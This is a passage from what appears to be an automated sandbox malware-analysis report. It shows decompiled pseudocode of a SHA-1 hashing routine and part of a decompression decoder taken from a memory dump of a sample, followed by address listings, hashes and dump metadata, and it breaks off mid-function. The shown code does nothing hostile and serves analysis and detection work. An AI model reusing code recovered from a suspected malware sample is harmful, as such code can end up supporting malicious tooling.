				signed int _t466;
				signed int _t474;
				signed int _t482;
				signed int _t489;
				signed int _t512;
				signed int _t519;
				signed int _t526;
				signed int _t546;
				signed int _t555;
				signed int _t564;
				signed int* _t592;
				signed int _t593;
				signed int _t595;
				signed int _t596;
				signed int* _t597;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				signed int _t604;
				signed int* _t605;
				signed int _t606;
				signed int* _t670;
				signed int* _t741;
				signed int _t752;
				signed int _t769;
				signed int _t773;
				signed int _t777;
				signed int _t781;
				signed int _t782;
				signed int _t786;
				signed int _t787;
				signed int _t791;
				signed int _t796;
				signed int _t800;
				signed int _t804;
				signed int _t806;
				signed int _t809;
				signed int* _t811;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed int _t830;
				signed int _t834;
				signed int _t838;
				signed int* _t839;
				signed int _t841;
				signed int _t842;
				signed int _t844;
				signed int _t845;
				signed int _t847;
				signed int* _t848;
				signed int _t851;
				signed int* _t854;
				signed int _t855;
				signed int _t857;
				signed int _t858;
				signed int _t862;
				signed int _t863;
				signed int _t867;
				signed int _t871;
				signed int _t875;
				signed int _t879;
				signed int _t880;
				signed int* _t881;
				signed int _t882;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t890;
				signed int _t891;
				signed int _t893;
				signed int _t894;
				signed int _t896;
				signed int _t897;
				signed int* _t898;
				signed int _t899;
				signed int _t901;
				signed int _t902;
				signed int _t904;
				signed int _t905;

				_t906 =  &_v40;
				if(_a16 == 0) {
					_t839 = _a8;
					_v20 = _t839;
					E0025F300(_t839, _a12, 0x40);
					_t906 =  &(( &_v40)[3]);
				} else {
					_t839 = _a12;
					_v20 = _t839;
				}
				_t848 = _a4;
				_t593 =  *_t848;
				_t886 = _t848[1];
				_v24 = _t848[2];
				_v28 = _t848[3];
				_v36 = 0;
				_t429 = E00265EC4( *_t839);
				asm("rol edx, 0x5");
				 *_t839 = _t429;
				_t851 = _t848[4] + 0x5a827999 + ((_v28 ^ _v24) & _t886 ^ _v28) + _t593 + _t429;
				_t430 = _t839;
				asm("ror ebp, 0x2");
				_v16 = _t839;
				_v32 =  &(_t839[3]);
				do {
					_t431 = E00265EC4(_t430[1]);
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v16 + 4)) = _t431;
					asm("ror ebx, 0x2");
					_v28 = _v28 + 0x5a827999 + ((_v24 ^ _t886) & _t593 ^ _v24) + _t851 + _t431;
					_t436 = E00265EC4( *((intOrPtr*)(_v32 - 4)));
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 - 4)) = _t436;
					asm("ror esi, 0x2");
					_v24 = _v24 + 0x5a827999 + ((_t886 ^ _t593) & _t851 ^ _t886) + _v28 + _t436;
					_t441 = E00265EC4( *_v32);
					asm("rol edx, 0x5");
					 *_v32 = _t441;
					asm("ror dword [esp+0x28], 0x2");
					_t886 = _t886 + ((_t851 ^ _t593) & _v28 ^ _t593) + _v24 + 0x5a827999 + _t441;
					_t443 = E00265EC4( *((intOrPtr*)(_v32 + 4)));
					_v32 = _v32 + 0x14;
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 + 4)) = _t443;
					_t446 = _v36 + 5;
					asm("ror dword [esp+0x30], 0x2");
					_v36 = _t446;
					_t593 = _t593 + ((_t851 ^ _v28) & _v24 ^ _t851) + _t886 + _t443 + 0x5a827999;
					_v16 =  &(_t839[_t446]);
					_t448 = E00265EC4(_t839[_t446]);
					_t906 =  &(_t906[5]);
					asm("rol edx, 0x5");
					 *_v16 = _t448;
					_t430 = _v16;
					asm("ror ebp, 0x2");
					_t851 = _t851 + 0x5a827999 + ((_v28 ^ _v24) & _t886 ^ _v28) + _t593 + _t448;
				} while (_v36 != 0xf);
				_t769 = _t839[0xd] ^ _t839[8] ^ _t839[2] ^  *_t839;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				 *_t839 = _t769;
				_t454 = ((_v24 ^ _t886) & _t593 ^ _v24) + _t851 + _t769 + _v28 + 0x5a827999;
				_t773 = _t839[0xe] ^ _t839[9] ^ _t839[3] ^ _t839[1];
				_v40 = _t454;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t839[1] = _t773;
				_t777 = _t839[0xf] ^ _t839[0xa] ^ _t839[4] ^ _t839[2];
				_t460 = ((_t886 ^ _t593) & _t851 ^ _t886) + _t454 + _t773 + _v24 + 0x5a827999;
				asm("ror esi, 0x2");
				_v32 = _t460;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[2] = _t777;
				_t466 = ((_t851 ^ _t593) & _v40 ^ _t593) + _t460 + 0x5a827999 + _t777 + _t886;
				_t887 = _v40;
				_t781 = _t839[0xb] ^ _t839[5] ^ _t839[3] ^  *_t839;
				_v28 = _t466;
				asm("ror ebp, 0x2");
				_v40 = _t887;
				_t888 = _v32;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[3] = _t781;
				asm("ror ebp, 0x2");
				_t782 = 0x11;
				_v36 = ((_t851 ^ _t887) & _t888 ^ _t851) + 0x5a827999 + _t466 + _t781 + _t593;
				_v32 = _t888;
				_v16 = _t782;
				do {
					_t89 = _t782 + 5; // 0x16
					_t474 = _t89;
					_v8 = _t474;
					_t91 = _t782 - 5; // 0xc
					_t92 = _t782 + 3; // 0x14
					_t890 = _t92 & 0x0000000f;
					_t595 = _t474 & 0x0000000f;
					_v12 = _t890;
					_t786 = _t839[_t91 & 0x0000000f] ^ _t839[_t782 & 0x0000000f] ^ _t839[_t595] ^ _t839[_t890];
					asm("rol edx, 1");
					_t839[_t890] = _t786;
					_t891 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t891;
					_t482 = _v16;
					_v24 = _t851 + (_v40 ^ _v32 ^ _t891) + 0x6ed9eba1 + _v36 + _t786;
					_t854 = _v20;
					_t787 = 0xf;
					_t841 = _t482 + 0x00000006 & _t787;
					_t893 = _t482 + 0x00000004 & _t787;
					_t791 =  *(_t854 + (_t482 - 0x00000004 & _t787) * 4) ^  *(_t854 + (_t482 + 0x00000001 & _t787) * 4) ^  *(_t854 + _t893 * 4) ^  *(_t854 + _t841 * 4);
					asm("rol edx, 1");
					 *(_t854 + _t893 * 4) = _t791;
					_t855 = _v36;
					asm("rol ecx, 0x5");
					asm("ror esi, 0x2");
					_v36 = _t855;
					_t489 = _v16;
					_v40 = _v40 + 0x6ed9eba1 + (_v32 ^ _v28 ^ _t855) + _v24 + _t791;
					_t857 = _t489 + 0x00000007 & 0x0000000f;
					_t670 = _v20;
					_t796 = _v20[_t489 - 0x00000003 & 0x0000000f] ^  *(_t670 + (_t489 + 0x00000002 & 0x0000000f) * 4) ^  *(_t670 + _t595 * 4) ^  *(_t670 + _t857 * 4);
					asm("rol edx, 1");
					 *(_t670 + _t595 * 4) = _t796;
					_t596 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t596;
					_t597 = _v20;
					_v32 = _v32 + 0x6ed9eba1 + (_t596 ^ _v28 ^ _v36) + _v40 + _t796;
					asm("rol ecx, 0x5");
					_t800 =  *(_t597 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t597 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t597 + _t841 * 4) ^  *(_t597 + _v12 * 4);
					asm("rol edx, 1");
					 *(_t597 + _t841 * 4) = _t800;
					_t598 = _v40;
					_t839 = _v20;
					asm("ror ebx, 0x2");
					_v40 = _t598;
					_v28 = _v28 + 0x6ed9eba1 + (_v24 ^ _t598 ^ _v36) + _v32 + _t800;
					_t804 = _t839[_v16 - 0x00000007 & 0x0000000f] ^ _t839[_v16 - 0x00000001 & 0x0000000f] ^ _t839[_t893] ^ _t839[_t857];
					_t894 = _v32;
					asm("rol edx, 1");
					_t839[_t857] = _t804;
					_t851 = _v24;
					asm("rol ecx, 0x5");
					_t782 = _v8;
					asm("ror ebp, 0x2");
					_v32 = _t894;
					_v36 = _v36 + 0x6ed9eba1 + (_t851 ^ _t598 ^ _t894) + _v28 + _t804;
					_v16 = _t782;
				} while (_t782 + 3 <= 0x23);
				_t858 = 0x25;
				_v16 = _t858;
				while(1) {
					_t199 = _t858 + 5; // 0x2a
					_t512 = _t199;
					_t200 = _t858 - 5; // 0x20
					_v4 = _t512;
					_t202 = _t858 + 3; // 0x28
					_t806 = _t202 & 0x0000000f;
					_v8 = _t806;
					_t896 = _t512 & 0x0000000f;
					_t862 = _t839[_t200 & 0x0000000f] ^ _t839[_t858 & 0x0000000f] ^ _t839[_t806] ^ _t839[_t896];
					asm("rol esi, 1");
					_t599 = _v28;
					_t839[_t806] = _t862;
					asm("rol edx, 0x5");
					asm("ror ebx, 0x2");
					_t863 = 0xf;
					_v28 = _t599;
					_v24 = _v36 - 0x70e44324 + ((_v32 | _v28) & _t598 | _v32 & _t599) + _t862 + _v24;
					_t519 = _v16;
					_t601 = _t519 + 0x00000006 & _t863;
					_t809 = _t519 + 0x00000004 & _t863;
					_v12 = _t809;
					_t867 = _t839[_t519 - 0x00000004 & _t863] ^ _t839[_t519 + 0x00000001 & _t863] ^ _t839[_t809] ^ _t839[_t601];
					asm("rol esi, 1");
					_t839[_t809] = _t867;
					_t842 = _v36;
					asm("rol edx, 0x5");
					asm("ror edi, 0x2");
					_v36 = _t842;
					_t811 = _v20;
					_v40 = _v24 - 0x70e44324 + ((_v28 | _t842) & _v32 | _v28 & _t842) + _t867 + _v40;
					_t526 = _v16;
					_t844 = _t526 + 0x00000007 & 0x0000000f;
					_t871 =  *(_t811 + (_t526 - 0x00000003 & 0x0000000f) * 4) ^  *(_t811 + (_t526 + 0x00000002 & 0x0000000f) * 4) ^  *(_t811 + _t844 * 4) ^  *(_t811 + _t896 * 4);
					asm("rol esi, 1");
					 *(_t811 + _t896 * 4) = _t871;
					_t897 = _v24;
					asm("rol edx, 0x5");
					asm("ror ebp, 0x2");
					_t814 = _v40 + 0x8f1bbcdc + ((_t897 | _v36) & _v28 | _t897 & _v36) + _t871 + _v32;
					_v24 = _t897;
					_t898 = _v20;
					_v32 = _t814;
					asm("rol edx, 0x5");
					_t875 =  *(_t898 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t898 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t898 + _v8 * 4) ^  *(_t898 + _t601 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t601 * 4) = _t875;
					_t598 = _v40;
					asm("ror ebx, 0x2");
					_v40 = _t598;
					_t815 = _t814 + ((_v24 | _t598) & _v36 | _v24 & _t598) + 0x8f1bbcdc + _t875 + _v28;
					_v28 = _t815;
					asm("rol edx, 0x5");
					_t879 =  *(_t898 + (_v16 - 0x00000007 & 0x0000000f) * 4) ^  *(_t898 + (_v16 - 0x00000001 & 0x0000000f) * 4) ^  *(_t898 + _t844 * 4) ^  *(_t898 + _v12 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t844 * 4) = _t879;
					_t899 = _v32;
					_t845 = _v24;
					asm("ror ebp, 0x2");
					_v32 = _t899;
					_t858 = _v4;
					_v36 = _t815 - 0x70e44324 + ((_t598 | _t899) & _t845 | _t598 & _t899) + _t879 + _v36;
					_v16 = _t858;
					if(_t858 + 3 > 0x37) {
						break;
					}
					_t839 = _v20;
				}
				_t816 = 0x39;
				_v16 = _t816;
				do {
					_t310 = _t816 + 5; // 0x3e
					_t546 = _t310;
					_v8 = _t546;
					_t312 = _t816 + 3; // 0x3c
					_t313 = _t816 - 5; // 0x34
					_t880 = 0xf;
					_t901 = _t312 & _t880;
					_t603 = _t546 & _t880;
					_t881 = _v20;
					_v4 = _t901;
					_t820 =  *(_t881 + (_t313 & _t880) * 4) ^  *(_t881 + (_t816 & _t880) * 4) ^  *(_t881 + _t603 * 4) ^  *(_t881 + _t901 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t901 * 4) = _t820;
					_t902 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t902;
					_v24 = (_v40 ^ _v32 ^ _t902) + _t820 + _t845 + _v36 + 0xca62c1d6;
					_t555 = _v16;
					_t821 = 0xf;
					_t847 = _t555 + 0x00000006 & _t821;
					_t904 = _t555 + 0x00000004 & _t821;
					_t825 =  *(_t881 + (_t555 - 0x00000004 & _t821) * 4) ^  *(_t881 + (_t555 + 0x00000001 & _t821) * 4) ^  *(_t881 + _t904 * 4) ^  *(_t881 + _t847 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t904 * 4) = _t825;
					_t882 = _v36;
					asm("rol ecx, 0x5");
					_v40 = (_v32 ^ _v28 ^ _t882) + _t825 + _v40 + _v24 + 0xca62c1d6;
					_t564 = _v16;
					asm("ror esi, 0x2");
					_v36 = _t882;
					_t884 = _t564 + 0x00000007 & 0x0000000f;
					_t741 = _v20;
					_t830 = _v20[_t564 - 0x00000003 & 0x0000000f] ^  *(_t741 + (_t564 + 0x00000002 & 0x0000000f) * 4) ^  *(_t741 + _t603 * 4) ^  *(_t741 + _t884 * 4);
					asm("rol edx, 1");
					 *(_t741 + _t603 * 4) = _t830;
					_t604 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t604;
					_t605 = _v20;
					_v32 = (_t604 ^ _v28 ^ _v36) + _t830 + _v32 + _v40 + 0xca62c1d6;
					asm("rol ecx, 0x5");
					_t834 = _t605[_v16 - 0x00000008 & 0x0000000f] ^ _t605[_v16 + 0xfffffffe & 0x0000000f] ^ _t605[_t847] ^ _t605[_v4];
					asm("rol edx, 1");
					_t605[_t847] = _t834;
					_t845 = _v24;
					asm("ror dword [esp+0x10], 0x2");
					_v28 = (_t845 ^ _v40 ^ _v36) + _t834 + _v28 + _v32 + 0xca62c1d6;
					_t838 = _t605[_v16 - 0x00000007 & 0x0000000f] ^ _t605[_v16 - 0x00000001 & 0x0000000f] ^ _t605[_t904] ^ _t605[_t884];
					_t905 = _v32;
					asm("rol edx, 1");
					_t605[_t884] = _t838;
					_t606 = _v40;
					_t885 = _v28;
					asm("ror ebp, 0x2");
					_t816 = _v8;
					asm("rol ecx, 0x5");
					_v32 = _t905;
					_t752 = _t885 + 0xca62c1d6 + (_t845 ^ _t606 ^ _t905) + _t838 + _v36;
					_v16 = _t816;
					_v36 = _t752;
				} while (_t816 + 3 <= 0x4b);
				_t592 = _a4;
				_t592[1] = _t592[1] + _t885;
				_t592[2] = _t592[2] + _t905;
				_t592[3] = _t592[3] + _t606;
				 *_t592 =  *_t592 + _t752;
				_t592[4] = _t592[4] + _t845;
				return _t592;
			}

0x0024ec54
0x0024ec60
0x0024ec6c
0x0024ec76
0x0024ec7b
0x0024ec80
0x0024ec62
0x0024ec62
0x0024ec66
0x0024ec66
0x0024ec83
0x0024ec8c
0x0024ec8e
0x0024ec91
0x0024ec9b
0x0024eca1
0x0024eca5
0x0024ecbd
0x0024ecc8
0x0024ecca
0x0024eccc
0x0024ecd1
0x0024ecd4
0x0024ecd8
0x0024ecdc
0x0024ecdf
0x0024ecea
0x0024ecef
0x0024ed09
0x0024ed0e
0x0024ed19
0x0024ed26
0x0024ed2b
0x0024ed3f
0x0024ed46
0x0024ed50
0x0024ed5d
0x0024ed66
0x0024ed76
0x0024ed82
0x0024ed84
0x0024ed8f
0x0024ed94
0x0024ed97
0x0024edab
0x0024edb2
0x0024edb9
0x0024edc2
0x0024edc6
0x0024edca
0x0024edd5
0x0024edd8
0x0024eddb
0x0024ede7
0x0024edf9
0x0024edfc
0x0024edfe
0x0024ee14
0x0024ee1c
0x0024ee20
0x0024ee2b
0x0024ee3d
0x0024ee44
0x0024ee47
0x0024ee4d
0x0024ee4f
0x0024ee54
0x0024ee59
0x0024ee6f
0x0024ee78
0x0024ee7a
0x0024ee7d
0x0024ee83
0x0024ee89
0x0024ee98
0x0024eea8
0x0024eeaa
0x0024eeb0
0x0024eeb2
0x0024eeb8
0x0024eebd
0x0024eec1
0x0024eec7
0x0024eecb
0x0024eed5
0x0024eedc
0x0024eee1
0x0024eee2
0x0024eee6
0x0024eeea
0x0024eeee
0x0024eeee
0x0024eeee
0x0024eef3
0x0024eef7
0x0024eeff
0x0024ef05
0x0024ef08
0x0024ef0b
0x0024ef1a
0x0024ef29
0x0024ef2b
0x0024ef2e
0x0024ef34
0x0024ef3e
0x0024ef43
0x0024ef49
0x0024ef4d
0x0024ef51
0x0024ef55
0x0024ef59
0x0024ef5e
0x0024ef71
0x0024ef80
0x0024ef82
0x0024ef85
0x0024ef8b
0x0024ef90
0x0024efa3
0x0024efa9
0x0024efad
0x0024efbd
0x0024efc6
0x0024efd0
0x0024efd3
0x0024efd5
0x0024efdc
0x0024efe2
0x0024eff1
0x0024effe
0x0024f004
0x0024f00c
0x0024f02d
0x0024f030
0x0024f037
0x0024f03b
0x0024f03e
0x0024f048
0x0024f058
0x0024f05d
0x0024f065
0x0024f07c
0x0024f083
0x0024f087
0x0024f089
0x0024f08c
0x0024f092
0x0024f09b
0x0024f0ab
0x0024f0b0
0x0024f0b7
0x0024f0bb
0x0024f0bf
0x0024f0ca
0x0024f0cb
0x0024f0d5
0x0024f0d5
0x0024f0d5
0x0024f0d8
0x0024f0db
0x0024f0e2
0x0024f0e7
0x0024f0ec
0x0024f0f3
0x0024f101
0x0024f110
0x0024f112
0x0024f118
0x0024f127
0x0024f12a
0x0024f12d
0x0024f12e
0x0024f13a
0x0024f13e
0x0024f148
0x0024f14a
0x0024f151
0x0024f161
0x0024f16a
0x0024f16c
0x0024f16f
0x0024f183
0x0024f18a
0x0024f18d
0x0024f197
0x0024f19d
0x0024f1a1
0x0024f1b1
0x0024f1c0
0x0024f1c3
0x0024f1c5
0x0024f1c8
0x0024f1ec
0x0024f1f5
0x0024f1f8
0x0024f1fa
0x0024f1fe
0x0024f208
0x0024f20f
0x0024f225
0x0024f22f
0x0024f231
0x0024f235
0x0024f243
0x0024f252
0x0024f25a
0x0024f25f
0x0024f266
0x0024f27f
0x0024f285
0x0024f287
0x0024f28b
0x0024f291
0x0024f299
0x0024f29e
0x0024f2ae
0x0024f2b4
0x0024f2b8
0x0024f2c2
0x00000000
0x00000000
0x0024f0d1
0x0024f0d1
0x0024f2ca
0x0024f2cb
0x0024f2cf
0x0024f2cf
0x0024f2cf
0x0024f2d4
0x0024f2d8
0x0024f2dd
0x0024f2e2
0x0024f2e7
0x0024f2e9
0x0024f2eb
0x0024f2ef
0x0024f2fe
0x0024f30d
0x0024f30f
0x0024f312
0x0024f31a
0x0024f31f
0x0024f328
0x0024f32e
0x0024f332
0x0024f336
0x0024f33d
0x0024f33f
0x0024f352
0x0024f361
0x0024f363
0x0024f366
0x0024f36e
0x0024f381
0x0024f385
0x0024f389
0x0024f38c
0x0024f39c
0x0024f3a5
0x0024f3af
0x0024f3b2
0x0024f3b4
0x0024f3bb
0x0024f3bf
0x0024f3d4
0x0024f3dd
0x0024f3e1
0x0024f3e5
0x0024f40a
0x0024f413
0x0024f416
0x0024f418
0x0024f41b
0x0024f429
0x0024f436
0x0024f453
0x0024f456
0x0024f45a
0x0024f45c
0x0024f45f
0x0024f465
0x0024f46d
0x0024f476
0x0024f47a
0x0024f483
0x0024f487
0x0024f489
0x0024f490
0x0024f494
0x0024f49d
0x0024f4a1
0x0024f4a4
0x0024f4a7
0x0024f4aa
0x0024f4ac
0x0024f4b6

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8dcf4ce7443567a3df9829512a6481c5c28437b96de24cb6201d7f4281e1479
Instruction ID: 80beb8c4403bf02874a2c4814d7ef0d6b077faed0b4884eb1a15a16b4940c2a9
Opcode Fuzzy Hash: a8dcf4ce7443567a3df9829512a6481c5c28437b96de24cb6201d7f4281e1479
Instruction Fuzzy Hash: 70524BB26147018FC718CF19C891A6AF7E1FFCC304F498A2DE9859B255D734EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 002569EB Relevance: .5, Instructions: 509
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E002569EB(signed int __ecx) {
				void* __ebp;
				signed int _t201;
				signed int _t203;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t209;
				signed int _t210;
				signed int _t212;
				signed int _t214;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				unsigned int _t223;
				signed int _t233;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t244;
				signed int _t245;
				signed short _t246;
				signed int _t247;
				signed int _t250;
				signed int* _t251;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				signed int _t263;
				signed int _t264;
				signed short _t265;
				unsigned int _t269;
				unsigned int _t274;
				signed int _t279;
				signed short _t280;
				signed int _t284;
				void* _t291;
				signed int _t293;
				signed int* _t295;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				signed int _t304;
				signed int _t305;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t313;
				intOrPtr _t314;
				signed int _t315;
				unsigned int _t318;
				void* _t320;
				signed int _t323;
				signed int _t324;
				unsigned int _t327;
				void* _t329;
				signed int _t332;
				void* _t335;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t341;
				void* _t342;
				signed int _t345;
				signed int* _t349;
				signed int _t350;
				unsigned int _t354;
				void* _t356;
				signed int _t359;
				void* _t363;
				signed int _t366;
				signed int _t367;
				unsigned int _t370;
				void* _t372;
				signed int _t375;
				intOrPtr* _t377;
				void* _t378;
				signed int _t381;
				void* _t384;
				signed int _t388;
				signed int _t389;
				intOrPtr* _t391;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t404;
				void* _t405;
				signed int _t408;
				signed int _t414;
				unsigned int _t416;
				unsigned int _t420;
				signed int _t423;
				signed int _t424;
				unsigned int _t426;
				unsigned int _t430;
				signed int _t433;
				signed int _t434;
				void* _t435;
				signed int _t436;
				intOrPtr* _t438;
				signed char _t440;
				signed int _t442;
				intOrPtr _t443;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				void* _t455;

				_t440 =  *(_t455 + 0x38);
				 *(_t455 + 0x18) = __ecx;
				if( *((char*)(_t440 + 0x2c)) != 0) {
					L3:
					_t313 =  *((intOrPtr*)(_t440 + 0x18));
					_t438 = _t440 + 4;
					__eflags =  *_t438 -  *((intOrPtr*)(_t440 + 0x24)) + _t313;
					if( *_t438 <=  *((intOrPtr*)(_t440 + 0x24)) + _t313) {
						 *(_t440 + 0x4ad8) =  *(_t440 + 0x4ad8) & 0x00000000;
						_t201 =  *((intOrPtr*)(_t440 + 0x20)) - 1 + _t313;
						_t414 =  *((intOrPtr*)(_t440 + 0x4acc)) - 0x10;
						 *(_t455 + 0x18) = _t201;
						 *(_t455 + 0x14) = _t414;
						_t293 = _t201;
						__eflags = _t201 - _t414;
						if(_t201 >= _t414) {
							_t293 = _t414;
						}
						 *(_t455 + 0x10) = _t293;
						while(1) {
							_t314 =  *_t438;
							__eflags = _t314 - _t293;
							if(_t314 < _t293) {
								goto L15;
							}
							L9:
							__eflags = _t314 - _t201;
							if(__eflags > 0) {
								L93:
								L94:
								return _t201;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t314 - _t414;
								if(_t314 < _t414) {
									L14:
									__eflags = _t314 -  *((intOrPtr*)(_t440 + 0x4acc));
									if(_t314 >=  *((intOrPtr*)(_t440 + 0x4acc))) {
										L92:
										 *((char*)(_t440 + 0x4ad3)) = 1;
										goto L93;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t440 + 0x4ad2));
								if( *((char*)(_t440 + 0x4ad2)) == 0) {
									goto L92;
								}
								goto L14;
							}
							_t201 =  *(_t440 + 8);
							__eflags = _t201 -  *((intOrPtr*)(_t440 + 0x1c));
							if(_t201 >=  *((intOrPtr*)(_t440 + 0x1c))) {
								goto L93;
							}
							goto L12;
							L15:
							_t315 =  *(_t440 + 0x4adc);
							__eflags =  *(_t440 + 0x4ad8) - _t315 - 8;
							if( *(_t440 + 0x4ad8) > _t315 - 8) {
								_t284 = _t315 + _t315;
								 *(_t440 + 0x4adc) = _t284;
								_push(_t284 * 0xc);
								_push( *(_t440 + 0x4ad4));
								_t310 = E0026341E(_t315, _t414);
								__eflags = _t310;
								if(_t310 == 0) {
									E00246E92(0x27ff50);
								}
								 *(_t440 + 0x4ad4) = _t310;
							}
							_t203 =  *(_t440 + 0x4ad8);
							_t295 = _t203 * 0xc +  *(_t440 + 0x4ad4);
							 *(_t455 + 0x28) = _t295;
							 *(_t440 + 0x4ad8) = _t203 + 1;
							_t205 = E0024A740(_t438);
							_t206 =  *(_t440 + 0xb4);
							_t416 = _t205 & 0x0000fffe;
							__eflags = _t416 -  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4));
							if(_t416 >=  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4))) {
								_t442 = 0xf;
								_t207 = _t206 + 1;
								__eflags = _t207 - _t442;
								if(_t207 >= _t442) {
									L27:
									_t318 =  *(_t438 + 4) + _t442;
									 *(_t438 + 4) = _t318 & 0x00000007;
									_t209 = _t318 >> 3;
									 *_t438 =  *_t438 + _t209;
									_t320 = 0x10;
									_t443 =  *((intOrPtr*)(_t455 + 0x20));
									_t323 =  *((intOrPtr*)(_t440 + 0x74 + _t442 * 4)) + (_t416 -  *((intOrPtr*)(_t440 + 0x30 + _t442 * 4)) >> _t320 - _t442);
									__eflags = _t323 -  *((intOrPtr*)(_t440 + 0x30));
									asm("sbb eax, eax");
									_t210 = _t209 & _t323;
									__eflags = _t210;
									_t324 =  *(_t440 + 0xcb8 + _t210 * 2) & 0x0000ffff;
									goto L28;
								}
								_t404 = _t440 + 0x34 + _t207 * 4;
								while(1) {
									__eflags = _t416 -  *_t404;
									if(_t416 <  *_t404) {
										break;
									}
									_t207 = _t207 + 1;
									_t404 = _t404 + 4;
									__eflags = _t207 - 0xf;
									if(_t207 < 0xf) {
										continue;
									}
									goto L27;
								}
								_t442 = _t207;
								goto L27;
							} else {
								_t405 = 0x10;
								_t436 = _t416 >> _t405 - _t206;
								_t408 = ( *(_t436 + _t440 + 0xb8) & 0x000000ff) +  *(_t438 + 4);
								 *_t438 =  *_t438 + (_t408 >> 3);
								 *(_t438 + 4) = _t408 & 0x00000007;
								_t324 =  *(_t440 + 0x4b8 + _t436 * 2) & 0x0000ffff;
								L28:
								__eflags = _t324 - 0x100;
								if(_t324 >= 0x100) {
									__eflags = _t324 - 0x106;
									if(_t324 < 0x106) {
										__eflags = _t324 - 0x100;
										if(_t324 != 0x100) {
											__eflags = _t324 - 0x101;
											if(_t324 != 0x101) {
												_t212 = 3;
												 *_t295 = _t212;
												_t295[2] = _t324 - 0x102;
												_t214 = E0024A740(_t438);
												_t215 =  *(_t440 + 0x2d78);
												_t420 = _t214 & 0x0000fffe;
												__eflags = _t420 -  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4));
												if(_t420 >=  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4))) {
													_t296 = 0xf;
													_t216 = _t215 + 1;
													__eflags = _t216 - _t296;
													if(_t216 >= _t296) {
														L85:
														_t327 =  *(_t438 + 4) + _t296;
														 *(_t438 + 4) = _t327 & 0x00000007;
														_t218 = _t327 >> 3;
														 *_t438 =  *_t438 + _t218;
														_t329 = 0x10;
														_t332 =  *((intOrPtr*)(_t440 + 0x2d38 + _t296 * 4)) + (_t420 -  *((intOrPtr*)(_t440 + 0x2cf4 + _t296 * 4)) >> _t329 - _t296);
														__eflags = _t332 -  *((intOrPtr*)(_t440 + 0x2cf4));
														asm("sbb eax, eax");
														_t219 = _t218 & _t332;
														__eflags = _t219;
														_t220 =  *(_t440 + 0x397c + _t219 * 2) & 0x0000ffff;
														L86:
														_t297 = _t220 & 0x0000ffff;
														__eflags = _t297 - 8;
														if(_t297 >= 8) {
															_t221 = 3;
															_t446 = (_t297 >> 2) - 1;
															_t301 = ((_t297 & _t221 | 0x00000004) << _t446) + 2;
															__eflags = _t446;
															if(_t446 != 0) {
																_t223 = E0024A740(_t438);
																_t335 = 0x10;
																_t301 = _t301 + (_t223 >> _t335 - _t446);
																_t338 =  *(_t438 + 4) + _t446;
																 *_t438 =  *_t438 + (_t338 >> 3);
																_t339 = _t338 & 0x00000007;
																__eflags = _t339;
																 *(_t438 + 4) = _t339;
															}
														} else {
															_t301 = _t297 + 2;
														}
														( *(_t455 + 0x28))[1] = _t301;
														L91:
														_t414 =  *(_t455 + 0x18);
														_t201 =  *(_t455 + 0x1c);
														_t293 =  *(_t455 + 0x10);
